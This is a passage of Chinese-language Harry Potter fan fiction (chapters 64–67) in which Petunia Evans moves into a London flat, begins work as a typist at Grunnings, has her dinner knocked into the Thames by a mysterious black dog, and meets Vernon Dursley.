但是等等——佩妮盯着镜子里的自己和妈妈,盯得久了,白色的灯光反射进她的眼睛里,使她的眼睛感到酸胀,于是事物的边界开始模糊,镜子里的人影不知道什么时候变成了穿西装套裙的妈妈。
妈妈也有一套西装套裙,1971年那年,麦格教授来家里接莉莉去对角巷的时候,妈妈换过那套西装套裙。妈妈很少穿它,只在一些重要的场合才会给它出席的机会,比如去听斯通女士的课。
但现在,穿上西装套裙的佩妮,站在镜子前,神态竟然同穿着西装套裙的妈妈逐渐重合,就像妈妈的一部分,通过这身西装套裙流淌到了佩妮的身上。
“当然啦,”卡伦女士的话看起来让妈妈很开心,镜子前,妈妈凑近佩妮,揽住她的肩膀,“佩妮也是我的女儿,她马上要去伦敦工作了。”
65.chapter64
暑假还剩下一点时间,佩妮决定提前出发前往伦敦。
思前想后,她决定不同奥莉维亚住在一起,她想要拥有一间自己的房间,因此也愿意承担那一笔额外的房租。
她有些惴惴不安地向妈妈提出自己的想法,但妈妈很快就同意了,并且说服了爸爸。这让佩妮稍微有一些意外,随后又因爸爸妈妈这毫无保留的相信和支持,从心底里升起一丝不知从何而起的愧疚之情。
启程的前一晚,佩妮将那双昂贵的黑色漆皮低跟皮鞋用缎面布料包裹好,放置在皮箱的最上一层,以免被压坏,旁边散落着一些还未来得及收拾的衣物。
她看着自己的书桌,桌上放着一张写着伦敦地址的纸条,一本黑色笔记本,里面是她没有写完的小说,还有那两本由阿加莎女士送给她的书。
敲门声响起来,佩妮下意识把桌上的小说还有阿加莎女士送给她的书都收进书桌里。
门被推开,进来的不是莉莉,是妈妈。
妈妈怀里抱着的是佩妮那套西装套裙,看起来已经被熨烫妥当。妈妈将它折叠好,珍而重之地放进佩妮打开的箱子。她的视线落在地上佩妮散落在箱子旁边的衣物,有些无奈地笑起来,弯腰拾起了它们。
佩妮看着妈妈的动作,嗅到了妈妈身上散发的沐浴露的香气。妈妈刚洗完澡,红色的头发也没有吹干,发尾湿漉漉地蜷曲在一起,没有滴水,但也在她的睡裙背后,泅出一片深色的水迹。
“这件也可以带,那件也不错。”妈妈把佩妮的衣服一件一件叠进了箱子,这动作不知道为什么使佩妮从心底里生出一丝焦虑和不满,她忍不住对妈妈抱怨:“妈妈,你是想把我赶走吗?”
妈妈扑哧一声笑了出来,水绿色弯成了月牙,于是在妈妈的笑容里,佩妮也有些抱歉地笑出来,就好像自己的年龄突然一下子倒退回了上学前。
佩妮索性和妈妈一起坐在床上。
“14岁那年,我在纺织厂认识奥莉维亚,那时候她快要掉进炉锅里了,我把她拉住了。”妈妈说,名为“妈妈”的躯壳裂开一道缝隙,一个叫玛格丽特的红头发少女在裂隙里一闪而过。
“她想跟我一起去伦敦,但是后来我嫁给了你爸爸,留在了科克沃斯。所以她一个人去了伦敦。”
“不过我的女儿马上就要去伦敦了。”
她们聊起佩妮即将开始的生活,但主要是妈妈在说,佩妮看着妈妈的侧脸。
佩妮觉得那天成衣店卡伦女士的话语好像打开了一个潘多拉魔盒。
妈妈带着雀斑的白皙脸颊,水绿色的眼睛,还有眼尾不知道什么时候爬上去的细纹。
这是佩妮熟悉的妈妈,但佩妮却又好像第一天才重新认识她一样。
“妈妈”的界限突然在佩妮面前消失,佩妮熟悉的面容在这一刻分崩离析,但又像破碎的拼图一样重新在那个名为“妈妈”的图案里拼凑起来。
这样的认知使佩妮突然抓住了妈妈的手,看着她的眼睛,对她说:“妈妈,我会喜欢伦敦的生活的。”
妈妈看着佩妮,笑了起来,她手上动作没有停下来:“在工作上不要跟别人起争执。最重要的是……”那双水绿色的眼睛看着佩妮:“如果遇到合适的,心仪的绅士,你要抓住机会,但是我想了一下,你可以不用那么早结婚。”
妈妈简直像是要把佩妮的伦敦生活安排得明明白白,明明自己还没有去伦敦,佩妮觉得自己的脸要烧起来了,她打断了妈妈。
妈妈把佩妮的衣服都叠好了,她的手空了出来,她没有接佩妮的话,她对佩妮露出了一抹神秘的微笑,伸手在背后的床上摸索着什么,然后将手里的东西递给了佩妮。
等佩妮看清妈妈手上的东西时,她惊叫了一声,从床上弹了起来。
——一本崭新的《冬日烈火》,封面是拔出宝剑站在悬崖上警惕远望的布伦南小姐,而旁边则站着守护她的费特南先生。
爸爸妈妈和莉莉同佩妮一起前往伦敦。
“总是你同爸爸妈妈送我,终于轮到我送你了!”莉莉看起来兴奋极了。
红色的沃克斯豪尔从那栋宏伟的百货大楼面前经过,大楼有一些年头了,外墙的整体装潢虽然看起来已然有一些陈旧,但仍显得十分辉宏。旁边是紧挨一栋装修更加华丽的酒店,外墙可以见到一架豪华的直达顶层的观光电梯。
楼外头挂了大大小小的招牌,有的招牌很新,有些招牌上已经掉了好些字母。
佩妮微微眯起她的眼睛,努力看清这些在阳光下反光的招牌上的内容。
“利伯提百货公司”
“格雷特牙医私人诊所”
“格朗宁钻机公司伦敦办事处”
“那是佩妮未来要工作的地方。”妈妈看着车窗外,有些兴奋地对坐在车后座的佩妮说。
百货大楼一楼张开的嘴里走出几位穿着一身得体的西装裙和高跟鞋的女人。
她们看起来光彩照人。
这让佩妮的心中生起了一点憧憬之情。
按照奥莉维亚在电话里说的,汽车拐过街角,开进百货大楼身后的阴影里。
但街道变窄了,很快就不适合那辆红色的沃克斯豪尔通行。
爸爸只好把汽车停在了附近的街道上,从后备箱里取出了佩妮的行李。
没有下雨,但天气阴沉沉的,看见两栋建筑之间夹着的那条阴暗小道,莉莉不自觉牵住了佩妮的手。佩妮回握住了莉莉的手,感觉到她的手掌冰凉,手心里有一点潮湿。
妈妈一边抬头看着那条小路,一边对着手里奥莉维亚留给他们的纸条,面上露出犹豫的表情。
爸爸从她们身后走上来,握住了妈妈的手,他和妈妈一同打量着那张纸条,然后说:“就是这里。”
佩妮牵住莉莉的手,率先走进了小路:“走吧,我们全家都在这里呢。”
两侧的高楼把小道的光线遮住了,他们穿行在小路的阴影中。
小路上没有什么人,这附近肯定有个垃圾站,因为佩妮闻到了一股厨余垃圾的味道,这让她不得不皱起了自己的眉,但她没有找到垃圾站在哪里。
但很快,小路的尽头豁然开朗,光线重新明亮起来,一栋灰扑扑的公寓出现在他们面前,它的外形与那栋高耸的百货大楼还有旁边富丽堂皇的酒店完全没有办法相比。
妈妈看起来有一些失望。
但等到麦克斯太太——也就是奥莉维亚为她们找到的公寓房东掏出钥匙,推开了房间门时,妈妈的脸色一下就缓和了起来。
与公寓陈旧的外形相比,房间里面意外的明亮整洁,光线透过窗户洒进来,室内十分敞亮,微风吹起洁白的窗帘,带起洗衣粉的香味。
佩妮一眼就爱上了这间宽敞明亮的房间。
“这原来是我女儿的房间,后来她去了利物浦,”麦克斯太太将钥匙交给佩妮,正色对她说:“因为你们是奥莉维亚的朋友,所以我把它租给你们。”
“不要外放音响,不要在房间里跑跳,不要制造明显的噪音,我就住在你的隔壁。”
“不要试图带来路不明的男生回来过夜。”
“我们佩妮不会的,她是一个很乖巧的女孩。”
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妈妈忍不住反驳麦克斯太太。
麦克斯太太上下打量了佩妮一眼,今天佩妮穿的是裙子,妈妈对她的穿着进行了严格的把关,因此麦克斯太太松开了她皱起的眉头:“那么,剩下的时间就交还给你们了,再见。”
她把钥匙交给佩妮。
“比我想象的坏一点,但又比我想象的好一点。”妈妈说,她从佩妮的皮箱里拿出了床单和被套,替佩妮铺好。
爸爸在帮佩妮排查房间的电线。
莉莉就坐在佩妮的床边,看佩妮从皮箱里拿出自己的衣服,一件件重新叠好。
“反正也是要挂起来的,为什么还要再叠一遍?”莉莉坐在她的床上,把妈妈刚给她铺好的床单弄皱了。
“你要是没有事做,也别挡着我干活。”佩妮无情地把莉莉从床上拔了起来,放在了一旁的凳子上。
把房间简单布置了一下,天色已经有些晚了,爸爸带他们出去吃晚餐,他们选择了一间离百货大楼不远,看起来不大,但是相当温馨的店面作为晚餐的选择。
“我觉得炸鱼薯条没有你和佩妮做的好吃,玛格丽特。”爸爸对妈妈说,“但不得不说他们把这间店铺布置得相当温馨。”
“这就是爱的魔法。我说的对吗,小女巫。”妈妈笑着问莉莉。
“当然。”莉莉点了点头。
吃完晚餐,他们把佩妮送上楼。
冰凉的钥匙落在佩妮的手上。
“新生活要开始了,希望你一切顺利。”爸爸说。
“楼下就有公共电话亭,记得给我们打电话。”妈妈笑着说。
“第一次你们送我进入九又四分之三站台,其实我自己一个人刚进去的时候也很紧张。”莉莉对佩妮说,“我非常理解你,如果你现在十分想哭的话,我可以把我的胸膛借给你。”她对佩妮张开了她的手臂。
佩妮忍无可忍地伸出手想推开莉莉,但她一把抱住了佩妮。
“你的头上沾着炸鱼薯条的味道。”佩妮对莉莉说。
“你也是。”莉莉说。
佩妮听见莉莉的声音在她耳边响起:“我的占卜学拿了一个O呢,那天在茶杯里,我看见了你接下来的命运,你会拥有一个幸福美满的人生,嗯,可能还会养一只黑猫,或者一只黑狗。”
想起那个被摔碎又被粘好的杯子。
佩妮抬手回抱住了莉莉。
门咔哒一声被关上。
屋子里陷入寂静之中,这使得一切细微的声音都被放大,水流经过下水管道的声音,隔壁传来电视的声音,根据断断续续传来的内容,现在是麦克斯太太的新闻时间。
佩妮走到窗边,她没有开灯,屋内有些昏暗,相比之下没有拉上窗帘的窗外映照着伦敦街头的灯光,不远处那栋高耸的百货大楼仍然灯火通明,看起来十分漂亮。
佩妮看见路灯下爸爸妈妈和莉莉三个人向百货大楼走去,妈妈在和莉莉说着什么,两颗红色的脑袋凑得很近。
在很久很久以前,她强烈地想离开科克沃斯。
一个人离开家,在伦敦找一份工作,过上自己想要的生活。
梦想要实现了,却这跟她刚开始的设想不太一样。
莉莉突然转头对着佩妮的窗户摇手。
一股别样的情绪涌上佩妮的心口,这股情绪像下水道里冰凉的水流一样流淌在佩妮的心中。
这么远的距离,莉莉应该根本看不清窗户里的情形,她只是凭感觉在冲这边摇手。
佩妮打开了房间里的灯,然后站在窗前,也举起自己的手,轻轻摆了摆。
66.chapter65
整整一晚上,佩妮翻来覆去,根本难以入眠。
先是楼道里时不时传来的脚步声和交谈声,随着声音响起,楼道亮起昏黄的灯光,透过佩妮房间靠近楼道这一侧的窗户,打在佩妮的床上,这些声音和灯光使佩妮辗转反侧,难以入眠。
等她好不容易要睡着的时候,一个低沉的男声又在楼道间响起来,这声音使她立马清醒过来,随后是钥匙插进门锁转动的声音。
声音近在咫尺,他是在开自己的房间门吗?佩妮忍不住把被子拉到了自己的鼻尖,感受心脏剧烈地跳动了起来。
但很快,斜对面传来一声重重的关门声,楼道里又恢复了寂静。
不一会儿灯光熄灭,佩妮的房间又陷入了黑暗。
她长舒了一口气,才发现自己刚刚忘记了呼吸。
佩妮伸出手,拍了一下床头的闹钟,黑暗里那点微弱的灯光显得格外清晰。
时钟显示现在是凌晨3:15。
佩妮叹了一口气,翻过身,将被子蒙在了自己的头上。
她的手插在枕头下,摸到了妈妈还有阿加莎女士送给自己的书。
她把它们从枕头下抽出来,将它们抱进了自己的怀里。
书籍冰冷的质感使她感到莫名的安心。
没关系,麦克斯太太就住在旁边呢,佩妮闭上眼,对自己说。
第二天一阵激烈的闹铃震醒了佩妮。
她猛地睁开眼,天光已经大亮,房间里面陌生的摆设使她有那么一瞬间的茫然,但很快神智回笼,她看了一眼闹钟,倒抽了一口冷气。
佩妮从床上跳起来,用最快的速度洗漱完毕,穿上昨晚提前熨好的衣服。
她冲出了房门,跑过那条小路,心想,幸亏这里离百货大楼只有不到十分钟的路程。
奥莉维亚已经在百货大楼的一楼等着佩妮了。奥莉维亚看起来跟妈妈差不多大,穿一套蓝白色的西装职业裙装,她脸上带着精致的妆容头发,整整齐齐梳在脑后,尽数收在发网里。
但她的表情很严肃,也像戴上了一层发网,她的眼神落在了佩妮的脸上。
“你的化妆品呢?”奥莉维亚问。
佩妮摸上自己的脸,发出了一声小声的吸气:“我忘记用了。”
“算了,先涂上这个再说。”奥莉维亚叹了一口气,她在自己的手提包里翻找了一下,掏出一支小巧的东西,递给了佩妮。
一支口红。
红色的膏体往外散发出一股淡淡的巧克力香气。
但在奥莉维亚的眼神下,佩妮没有敢花太多的时间端详那只口红,她借着奥莉维亚手提包里小巧的镜子匆匆涂上薄薄一层,她的气色连同奥莉维亚的脸色一起看起来好了不少。
奥莉维亚带着佩妮进入电梯,穿过一条长长的走廊,透过一侧贴着标签纸的窗户,佩妮看见一间宽敞明亮的大型办公室。
佩妮惊喜地发现,奥莉维亚带她停下的目的地,就是这间办公室的大门。
她抬起头,门上写着:
“格朗宁钻机公司伦敦办事处”。
“工作比我想象的要简单。”站在红色的电话亭里,佩妮对妈妈说。
佩妮很快胜任了奥莉维亚在格朗宁钻机公司为她找的这份打字员工作。
诚如奥莉维亚向妈妈保证的那样,这是一份十分轻松的活。
她的任务是把各种通告、会议通知等文件用打字机打印出来,然后贴到公告栏上。
学习打字机的使用是现代中学六年级的课程,专为女生开放,在这门课上,佩妮得心应手。
此外还有一些其他的活计。
“我们还要给顾客准备好茶水,在会议开始之前,为会议室里面的人准备好咖啡和茶水。甜点一般会在楼下的安娜饼屋店购买,他们长期与我们合作,可以用很优惠的价格买下来。”佩妮对着话筒里说,“那个咖啡机使用起来很简单。我还交了一个朋友,她叫艾丽卡。”
艾丽卡是格朗宁钻机公司除了佩妮之外的另一名女性员工,她今年二十一岁,已经在格朗宁钻机公司待了整整三年。
艾丽卡负责前台的工作,需要接待顾客和接听电话。佩妮的打字机就在艾丽卡的旁边,旁边堆叠着几份手写的会议记录,茶水间就在佩妮的打字机旁边。里头是一个小水池,还有一台意式全自动咖啡机,佩妮知道水池下面的柜子里摆放着各种茶叶和咖啡豆。
“总之,我很满意那份工作。”佩妮对着电话里说,她能听出来,电话那头的妈妈听起来很高兴。
作为打字员,她打字又快又准,极少有拼错的单词,还有弄错的会议时间和地点。
她对这件事情感到骄傲。
文字像流水一样从她手下的键盘上流淌到白纸上,敲击键盘时发出构筑世界的砖块交累在一块的声音。
下班后她走在走廊上,黑色的粗跟皮鞋叩在石英地板上,发出清脆的响声。
那些女人们同她们迎面走来,悉数穿着深色的职业西装外套和衬裙,踩着黑色高跟鞋,有些手里拿着文件,有些手里拿着咖啡。
明亮的灯光照在她们精致的妆容上,显得她们脸上的笑容明媚且自信。佩妮控制自己的视线不要到处乱转,但眼角的余光则一直黏在她们的脸上。
就像那些小说映照进了现实。
玻璃的反光里,佩妮也穿着类似的西装衬裙,踩着妈妈给她买的那双女王同款黑色漆皮粗跟皮鞋。
同她们有一些相似。
意识到这点,佩妮的心里萌生出一丝雀跃。
但那身衣服体面,但穿久了总是不太舒服,一回到那间属于自己的房间,佩妮便迅速换上了牛仔裤、白衬衫和帆布鞋。
她要出门采购布置房间和浴室的东西,顺便给爸爸妈妈打电话。
那股别样的情绪只在第一天的时候出现,当她开始着手布置这间属于自己的房间时,情绪就消失了。<
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麦克斯太太留给她的房间虽然面积不大,但她拥有独立的浴室,和一间小厨房,浴室里甚至有一个小浴缸。而佩妮将烤好的饼干打包送给她,交换了在不破坏墙面的前提下,可以简单装饰有些单调的白色墙面的权力。
佩妮还想跟电话里的爸爸妈妈还有莉莉说些什么,但她听见有人轻轻敲响了红色电话亭的玻璃,一个高大的男士站在电话厅外,手指点了点玻璃窗,指了指佩妮手上的话筒,对她比划着什么。
那个男人其实在电话亭外站了有一会儿了,因为他的眼睛总是不时瞥着站在电话亭里的佩妮,现在看来他的耐心似乎已经耗尽了。
佩妮只好匆匆挂断了电话,推开了电话亭的门。
她刚一出来,那个男人就闪身挤进了电话亭,拉下话筒,从口袋里掏出几枚硬币投进电话机里,丝毫不给佩妮停留的时间。电话亭的门在佩妮身后粗暴地关上,使得佩妮不得不皱起了自己的眉头。
佩妮沿着泰晤士河边走,途径那些红色的电话亭,她要看看为什么明明还有其他电话亭,这个男人就非得等在她的电话亭外面。走过几间里面都站着人的电话亭,佩妮一下就明白了,因为除了佩妮那间,其他电话亭里站着的都是男人。
好吧。
佩妮决定不去想这件事。
她左手拿着一束扎在银纸里打折出售的玫瑰花,花瓣用来沐浴,右手提着一个棕色纸袋,里面是一瓶香薰精油还有一些简单的装饰。
泰晤士河水在她旁边缓慢地流淌,有时风带起一阵细浪拍击河岸的声音,也将手边玫瑰沁人心脾的香气送到她的鼻子里。
随风一起送来的还有路边三明治街车上的黄油香气。铁板上融化黄油的味道像钩子一样钩住了佩妮,一阵饥饿感攫住了佩妮,这时她才意识到她还没有吃晚餐。
佩妮走到餐车边,给自己点了一份现烤鸡肉三明治。
此刻路上行人并不多,街边的商铺华灯初上,橱柜里展现的商品种类比科克沃斯多更丰富,使得她流连忘返。
手上拿的东西有一点多,但现烤面包的香气实在太诱人了,佩妮感觉自己饥肠辘辘,她弯着自己的左手卡住那捧玫瑰花,将纸袋夹在腋下,一边走,一边有些狼狈地撕开三明治的包装。
黄油的香气瞬时充满了她的鼻腔,佩妮正要迫不及待要下嘴去咬。
但有什么东西在此时狠狠撞到了她身上。
——毛茸茸的东西,带着温热的触感。
那冲劲直接撞得她一个趔趄,就像电影里的慢动作镜头一样,没有拿稳的玫瑰花、纸袋还有三明治都飞上了天空,然后纷纷落在她和罪魁祸首之间。
在佩妮茫然的视线里,前方的路灯下,停着一条好大的黑狗。
黑狗体型巨大,看起来像个威风凛凛的将军。
罪魁祸首迎着佩妮的视线,对她缓缓龇起了牙。
露出了一副不知道是威胁还是挑衅的表情。
67.chapter66
路灯下站着好一条不知道从哪里窜出来,威风凛凛,看起来相当英俊的狗。
不对,这是狗还是狼?
佩妮仔细端详了一下,确定那就是条狗。
黑狗看起来被养得很好,它皮毛油光水滑,在灯光下泛出缎面似的光泽。
但它脸上却带着一副十分高傲的表情,脖子上既没有铭牌,也没牵着绳,看起来相当自由自在。
——呀,可能是一条不愿被人圈养,不知什么时候自己逃了出来的狗。
看不出什么品种,但肯定一条价格昂贵的名犬。
可是伦敦的街头为什么会有这么大一条黑狗?
那条像狼一样的黑狗用那双黑色的眼睛紧盯着佩妮,鼻腔里喷出粗重的呼吸,尾巴随着它的喘息激烈地左右摇摆着。
那捧玫瑰花在半空中就从银纸里散开了,变成了一束束的玫瑰花胡乱地落在地上,随后跌落的是纸袋,香薰精油滚落在地面,里头荡出一丝玫瑰和薰衣草的香气,但幸亏瓶身没有碎裂。
最后是她可怜的晚餐——现烤鸡排从夹着的面包里滚了出来,站上了地面的尘土。
啊,她的晚餐。
佩妮下意识俯身,想要把自己的晚餐捡起来。
但她甫一动,那黑狗就弯起前腿,冲着佩妮再次露出它那雪白又锐利的牙齿,龇牙咧嘴地对她显出了一副俨然凶恶的表情。
佩妮不禁僵住了她的身体,有些不确定地看着那条气势非凡的黑狗。
佩妮小心地四下张望了一下,可是此时街道上并没有其他人,看起来那条黑狗的目标就是自己。
它看着佩妮的眼神就像她不知道什么时候得罪了它一样,但佩妮确信自己从来没有见过这样一条看起来威风凛凛又野性难驯的黑狗。
黑狗一点也不允许佩妮随意动弹。
只要佩妮一动,那条黑狗便从喉咙深处咕噜出一声低沉的警告似的吼叫声,如此几次,佩妮只能呆站在原地,一动也不敢动。
佩妮觉得自己此刻一定傻透了,她惶恐的表情和僵硬的身姿显然取悦到了那条黑狗,凶恶的表情不见了,她竟然从一条狗的脸上看到了无与伦比的兴奋和笑意。
敲它尾巴摇得有多欢快。
确定佩妮不敢乱动后,那条狗咧着它雪白锋利的牙齿,摇着尾巴朝向她走来。
佩妮听见了黑狗粗重的呼吸声,路灯将它的影子拉得老长,黑色的眼睛里闪烁着精光,佩妮甚至看到了它锐利牙齿反射出的冰冷光泽。
一时之间,恐慌蔓延上了佩妮的心头。
它要对自己做什么?
它是不是要扑上来咬住自己的喉咙?
可踏过满地的玫瑰花,就要来到佩妮身前的黑狗一个转弯,停在了她的晚餐前,伸出鼻子碰了碰佩妮的晚餐。
佩妮的心悄悄落回了自己的肚子了。
原来它是饿了,它可以叼走自己的晚餐,总之它的目标不是她就行。
可是黑狗闻了三明治之后,再次咧起了它的牙。
佩妮发誓自己从一张狗的脸上读出了明明白白的嫌弃。
黑狗的眼睛又落在了佩妮的身上,佩妮全身上下的寒毛都因为黑狗的这一眼而竖起来了。
黑狗亮出了自己的爪子。
完蛋了,佩妮闭上了眼。
可想象中的疼痛并没有到来,一声响亮的嗤笑使她小心翼翼睁开一只眼,正好看着自己的晚餐在黑狗前爪的拨弄下,离自己越来越远,离河岸越来越近。
然后一巴掌,那三明治被扇下了河岸。
嗵的一声轻响,是佩妮的晚餐被河水吞没的声音。
……
它脸上的表情一定是在嘲笑自己。
“嘿!”明白自己受到嘲弄的佩妮心中涌起一个名为愤怒的气球,她试图上前一步。但黑狗亮出的牙齿和一声低沉的吼叫却又轻易地戳破了那个鼓足勇气膨胀的气球,使她只好呆呆地站在原地,看着黑狗尾巴摇得像是恶作剧得逞一般的欢快。
黑狗耳朵一动,佩妮听见身后传来了细微脚步声,是有人往这边来了。
但黑狗比佩妮想象得敏锐得多,它深深看了一眼佩妮,带着某种计谋得逞的洋洋得意,摇着它那条蓬松的尾巴,在佩妮身后的脚步靠近之前,转身几个起跃,快速又灵活地消失在了街道尽头的黑暗中——临走前还不忘叼走了几朵佩妮散落在地上的玫瑰花。
希望玫瑰花的刺能够刺穿那条黑狗的上牙膛,佩妮愤怒地在心里诅咒那条黑狗。
“嘿,这位小姐,你需要帮忙吗?”脚步声属于一对看起来很和蔼的中年夫妇,他们穿着得体的衣服,那名女士看见站在原地的佩妮,以及散落在她周围地上的东西,有些担心地询问她。
看样子他们没有看到那条成功逃之夭夭的黑狗。
“有……有一条很大的黑狗。”心脏迟来地快速跳动起来,佩妮一边弯腰捡着地上散落的花和杂物,一边对那位女士比划,她好不容易才找到了自己的舌头,“不知道从谁家跑丢的,足足有半人高。”
那对好心的夫妇对视了一眼,互相从对方的眼中看见了担忧:“如果是这么大的狗,那真的很危险,它伤害你了吗?可怜的小姐。”
佩妮一下卡壳了:“它……”
仔细一想,它确实没有伤害她,它只是狠狠撞了一下她,把她怀里的东西撞得满天飞,然后把她的晚餐弄进了泰晤士河。
莫名其妙的。
佩妮只好对那位妇人摇了摇头。
“我们就住在这附近,若是谁家养了那么大一条黑狗,我们应该也有所耳闻,但如我们所知,并没有哪户人家养了您所描述的那条黑狗。如果你需要帮助,警局在那个方向。”那对好心的妇人向佩妮指了个方向,便挽着她丈夫的手,沿着泰晤士河边离去了。
而佩妮还在原地站着,她总觉得黑暗中有什么东西在窥伺她,但等了好一会儿,那条黑狗也没有出现。
窥伺的感觉消失了,确定那条狗再也不会折返后,佩妮长舒了一口气,沿着那名好心的女士指的方向走去。
愤怒涌上了她的心头。
她要去警察局。
报警。
把那条无法无天的黑狗抓起来。
太过分了。
佩妮感觉自己全身都在发抖。
“您一定看花眼了,小姐。这片区很安全的,我们每天都会派人巡逻,从来没有人见过您说的那样一条狗。”坐在窗台后的警察漫不经心地对佩妮说。
“上层街区养的那些大型犬都做了登记,里面也没有符合您描述的黑狗。”
“它既没有伤害您,也没有抢走您的东西,它只是……怎么说的来着……把您的晚餐撞进了泰晤士河?”那名警察的表情十分严肃,但是佩妮从他的眼睛里看出了一种一般出现在看着孩子说谎的大人脸上的笑意。
“我们警力是有限的,小
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姐。这样,您再看看,如果您再在伦敦街头碰到那条黑狗,您再来警察局。”
他们把佩妮打发出警察局。
佩妮怒气冲冲地走在街头上,左手抱着重新束起来的乱糟糟的玫瑰花,右手拎着那个皱巴巴的纸袋,前胸贴后背的感觉使她更生气了。
还得再去买一个三明治。
不,那太凉了,太冷了。
要不去买一份披萨,或者一份炸鱼薯条,总之她需要一份热气腾腾的食物。
在街口的拐角,她与另外一个人撞了个满怀。
她闻到热狗的香气。
热狗从油纸袋里飞出来,在来人昂贵的西装外套上落下了一个油汪汪的印子,随后跌落到了地面上。
佩妮觉得自己的头开始痛起来。
黑狗撞飞了佩妮的晚餐,她却撞飞了别人的晚餐,还弄脏了别人的外套。
老天,今天是怎么了?
“嘿,你怎么回事。”被佩妮撞到的人抱怨道。
“对不起。”佩妮硬着头皮对那人诚恳地道歉,可是她感觉自己的道歉并不起什么作用,愤怒的视线就像安检员手上的仪器,上上下下扫描着她。
只是愤怒的视线最后落到了她的头发上时,就好像正在喷气的汽水瓶突然被盖上了盖子。
不得不说,最后老天还是眷顾佩妮的,她撞到的是一名绅士。
佩妮左手拿着绅士的外套,右手抱着她的鲜花还有纸袋,纸袋里多出了一个用锡箔纸包好的现烤热狗。
绅士现在陪着她走在通往那个廉价公寓的小路上。
小路没有路灯,但月光洒在石砖上,照亮了她回家的路。
“养大型犬却不牵绳,这是十分不体面的行为。”绅士对她说。
他相信那条黑狗的出现,也对黑狗把佩妮的晚餐撞进了泰晤士河这件事表示了强烈的谴责。
他发出谴责的对象还有把佩妮打发出去的警察。
这使得佩妮觉得此刻自己的脸有一些发烫。
佩妮深深吸了一口气:“我会很快将这件外套洗干净,然后按照您留给我的地址将它寄送给您。”
送莉莉前往九又四分之三站台的时候,佩妮掐着莉莉的胳膊问她:“你到底还从那个茶杯里看见了什么!”
她告诉了莉莉伦敦街头出现的黑狗,被撞飞的晚餐,还有害她损失了一大笔钱送去干洗的昂贵西装外套。
佩妮深深叹了一口气,决定把这些错都怪在那条莫名其妙的黑狗身上。
“迟早有一天要把这条无法无天的黑狗抓进警察局,然后扭送去它流浪狗收容所。”
——看它怎么再逍遥自在。
“这真的太过分了!”莉莉看起来很生气,她很同意佩妮的话,“一定要把那条黑狗抓起来。”
但在推着推车冲进石墙之前,莉莉又高兴了起来,她瞥了身后的爸爸妈妈一眼,然后凑近佩妮,用一种只有你知我知的声调小声说:“黑狗出现了,这说明我的占卜还是准的,佩妮,你会有一个幸福美满的人生,起码黑狗给你带来了一名绅士,不是吗?”
佩妮的脸迅速红了起来,她用力推了莉莉一把,借着这股推力,莉莉像一只快乐的小鸟,飞进了石墙。
那天的那位好心绅士没有计较佩妮弄脏了他的外套,并且因为担心黑狗的去而复返而将她送到了公寓楼下。
“谢谢您,德思礼先生。”绅士离开前,佩妮对他说。
68.chapter67
佩妮正在快速地敲击着打字机的键盘,没听见她身后通向里面的门被人推开了。
——里面。
除非需要进去拿工作材料,否则佩妮和艾丽卡鲜少进入到里面。
这是她在电话里没有告诉妈妈的关于工作的第一件事。
在佩妮工作的房间背后有一道门,通往里面真正的格朗宁钻机公司办事处。
那是那间她在走廊上看见的宽敞明亮的大型办公室,每个人都有独立的办公桌,而主管以上职务得人又能有自己独立的办公室。
当然“每个人”不包括佩妮,属于她的位置在茶水间的咖啡机旁边,同艾丽卡一起。
办公室的东边还有一扇落地窗,摆了几张皮革沙发,用来接待格朗宁公司的客户。有时候他们拿着咖啡就站在那扇巨大的落地窗前,背后是窗外优美的景色。
佩妮拿着会议材料从他们面前经过,能听见一些关于股票、足球、汽车的词汇从他们口中飘出来,有时候飘出来的不仅仅是单词,还有一些目光,这些目光就像空气中的尘霾,落在佩妮的头发上还有裙子上。
看回去,佩妮对自己说。
这招在现代中学的时候相当好用,当她们打量回去,请他们坐到三角凳上的时候,那群吹口哨的男生就消停了。
但在里面的这间办公室似乎不太管用。
当佩妮看回去的时候,那些比佩妮大了不少的男人们反而顺着她的视线对她笑了起来,那些视线带给佩妮的感觉,就像小时候在家后那个废弃的游乐场,拨开草叶偷偷观察莉莉却不慎被其中的蚂蚁咬了似的,使她感到灼痛。
佩妮只能压下自己砰砰直跳的内心,目不斜视地走过那些男人们,将打印出来的通告贴在公告栏上,然后回到自己的位置上。
所以佩妮觉得和艾丽卡一起待在前台那间不算大的房间里也没什么不好。
有时候艾丽卡没有电话,佩妮的打字机也在休息。艾丽卡坐在离佩妮不远处的地方看着她的时尚杂志,没有人说话,只有打字机发出细微的轰鸣声,走廊的白色灯光透过前方的双合玻璃门,落在门两侧的盆栽蜘蛛草上,雪白的墙壁包裹着佩妮,使她感到安心。
但静谧的时刻总是被打断,就像现在这样。
“伊万斯,我要一杯咖啡。”一个男人站在佩妮的前面,红漆陶土杯放在了她的手边。
佩妮没有第一时间站起来,她不是故意的,她的心神都在那份需要她在10点前完成的会议报表上。墙上挂钟的指针一秒一秒地滴答走着,告诉佩妮离10点还有不到10分钟,但她还有一半的内容没有完成。
艾丽卡正在接受咨询电话,她的手放在额头上,半遮着她的眼睛,但她的语气听起来依然礼貌温柔。
“伊万斯。”两根手指落在了佩妮面前,用力地敲响了她面前的桌面。
“抱歉。”两根手指成功剪断了佩妮聚焦在打字机上的思绪,她匆忙站起来,接过那个男人手上的杯子。等佩妮的视线与他相交时,那个男人立刻缓和了自己的表情,用一副轻松的语气对她说:“麻烦你了,伊万斯,一杯咖啡,不加奶,不加糖。谢谢。”
佩妮端起那杯红漆陶土杯钻进了茶水间,咖啡机发出一声轰鸣,一杯不加奶不加糖的咖啡被佩妮送回那个男人的手上。
门砰地一声关上,佩妮坐回自己的座位上,看着打字机上拼写了一半的单词,有一瞬间的茫然,时钟又走过了一格,但被中断的思路却并不能像连续游走的秒针那么自然地接上。
这是在电话里佩妮没有告诉妈妈的关于工作的另外一件事。
但艾丽卡说:“这很正常。”她们都是这样的。
佩妮深深呼出一口气,把挡住自己视线的刘海胡乱地拨弄到耳后,将自己的双手重新放在打字机的键盘上。
但只坐下了没一会儿——
身后的门再次被推开,一个白瓷杯被放在了她面前的桌上,佩妮不自觉深深吸了一口气。
“玛姬,我要一杯咖啡,老规矩,加奶加糖。”
那声音有一些耳熟,她抬起头。
一个高大的男人站在她的眼前,他的肩膀十分宽阔,他的脸很白,两颊的皮肤上分布着一些红血丝,有些泛红的地方透着一点紫色。
男人穿着一套剪裁相当得体的西装,一头浓密的深色头发用发胶往后梳得整整齐齐。
目光交汇的时候,佩妮瞪大了自己的眼睛。
站在佩妮面前的男人,正是那天送她回到公寓的那位绅士。
——弗农·德思礼。
